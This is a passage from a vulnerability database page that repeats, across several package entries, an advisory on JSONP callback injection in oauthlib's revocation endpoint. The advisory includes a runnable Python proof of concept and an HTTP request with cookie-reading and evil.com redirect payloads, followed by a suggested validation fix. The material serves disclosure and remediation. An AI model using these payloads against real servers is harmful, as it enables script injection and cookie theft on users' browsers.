"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-ansible@13-CVE-2026-49264",
"modified": "2026-10-14T10:00:01Z",
"published": "2026-09-30T21:01:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-ANSIBLE@9-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 18:43 – Updated: 2026-10-14 08:46 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@3.3.1",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible@9",
"purl": "pkg:brew/ansible%409"
},
"ranges": [
{
"events": [
{
"introduced": "9.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@3.3.1",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "3.3.1"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-ansible@9-CVE-2026-49264",
"modified": "2026-10-14T08:46:39Z",
"published": "2026-09-30T18:43:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-APPRISE-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-10-13 08:57 – Updated: 2026-10-14 08:46 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
